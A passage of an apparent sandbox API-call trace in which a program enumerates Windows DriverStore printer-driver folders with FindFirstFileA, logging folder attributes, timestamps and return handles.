ftLastWriteTime.dwLowDateTime=0x6c4e084c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.357] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr002.inf_amd64_neutral_db1d8c9efda9b3c0\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5116ac8a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5120320b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5120320b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.376] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr003.inf_amd64_neutral_dff45d1d0df04caf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51359e6d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c52cb0c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c52cb0c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.377] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr003.inf_amd64_neutral_dff45d1d0df04caf\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51359e6d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5137ffce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5137ffce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.385] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr004.inf_amd64_neutral_a78e168d6944619a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146480f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c52cb0c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c52cb0c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.385] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr004.inf_amd64_neutral_a78e168d6944619a\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146480f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5148a96f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5148a96f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.395] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr005.inf_amd64_neutral_9e4cc05e0d4bcb33\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x515bb472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c552c6d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c552c6d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.396] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr005.inf_amd64_neutral_9e4cc05e0d4bcb33\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x515bb472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51607732, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51607732, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.406] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr006.inf_amd64_neutral_f156853def526447\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517120d4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c578dcd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c578dcd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.407] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr006.inf_amd64_neutral_f156853def526447\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517120d4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5175e395, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5175e395, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.435] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr007.inf_amd64_neutral_add2acf1d573aef0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51842bd6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c59ef2d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c59ef2d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.436] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr007.inf_amd64_neutral_add2acf1d573aef0\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51842bd6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51868d37, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51868d37, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.443] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr008.inf_amd64_neutral_0540370b0b1e348e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51927418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c59ef2d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c59ef2d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.444] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr008.inf_amd64_neutral_0540370b0b1e348e\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51927418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51927418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51927418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.446] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr009.inf_amd64_neutral_fd2ac5b9c40bd465\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a0bc5a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5c508d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5c508d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.447] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr009.inf_amd64_neutral_fd2ac5b9c40bd465\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a0bc5a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51a57f1a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51a57f1a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.458] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr00a.inf_amd64_neutral_e7f3f91e6832ef5c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b88a1c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5c508d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5c508d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.459] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr00a.inf_amd64_neutral_e7f3f91e6832ef5c\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b88a1c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51b88a1c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51b88a1c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.474] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca003.inf_amd64_neutral_8e91d4aa9330d2f8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c6d25e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5eb1ee, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5eb1ee, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.475] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca003.inf_amd64_neutral_8e91d4aa9330d2f8\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c6d25e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51c933be, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51c933be, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.482] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00a.inf_amd64_neutral_d64d696193e69d7b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d77c00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5eb1ee, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5eb1ee, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.483] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00a.inf_amd64_neutral_d64d696193e69d7b\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d77c00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51dea021, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51dea021, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.495] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00b.inf_amd64_neutral_4412894f52d39895\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f40c83, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c61134e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c61134e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.495] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00b.inf_amd64_neutral_4412894f52d39895\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f40c83, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x51fb30a4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x51fb30a4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.513] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00c.inf_amd64_neutral_510c36849918ce92\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52109d06, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6374ae, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6374ae, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.514] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00c.inf_amd64_neutral_510c36849918ce92\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52109d06, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5217c127, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5217c127, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.528] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00d.inf_amd64_neutral_0600b2ba575729f4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522d2d8a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c65d60e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c65d60e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.529] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00d.inf_amd64_neutral_0600b2ba575729f4\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522d2d8a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x523451ab, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x523451ab, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.547] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00e.inf_amd64_neutral_651eeed98428be5e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52475cad, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c68376f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c68376f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.548] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00e.inf_amd64_neutral_651eeed98428be5e\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52475cad, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x524c1f6d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x524c1f6d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.564] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00f.inf_amd64_neutral_777b6911d18869b7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b73d5a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6a98cf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6a98cf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.607] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00f.inf_amd64_neutral_777b6911d18869b7\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b73d5a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x52c0c2db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x52c0c2db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.625] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00g.inf_amd64_neutral_6f76b14b2912fa55\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52d3cddd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6cfa2f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6cfa2f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.626] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00g.inf_amd64_neutral_6f76b14b2912fa55\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52d3cddd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x52dd535e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x52dd535e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.645] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00h.inf_amd64_neutral_96a8e38189e54d71\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52f05e60, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6f5b90, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6f5b90, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.646] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00h.inf_amd64_neutral_96a8e38189e54d71\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52f05e60, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x52f52121, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x52f52121, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.659] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00i.inf_amd64_neutral_09ff5ee0a0cf0233\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53082c23, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c71bcf0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c71bcf0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.660] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00i.inf_amd64_neutral_09ff5ee0a0cf0233\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53082c23, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x530ceee4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x530ceee4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.672] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00x.inf_amd64_neutral_eb0842aa932d01ee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53225b46, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c741e50, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c741e50, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.672] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00x.inf_amd64_neutral_eb0842aa932d01ee\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53225b46, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53297f67, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53297f67, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.691] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00y.inf_amd64_neutral_64560c72e81f6ad7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53356648, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c767fb0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c767fb0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.692] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00y.inf_amd64_neutral_64560c72e81f6ad7\\Amd64\\*.*", lpFindFileData=0x18f658 | out: 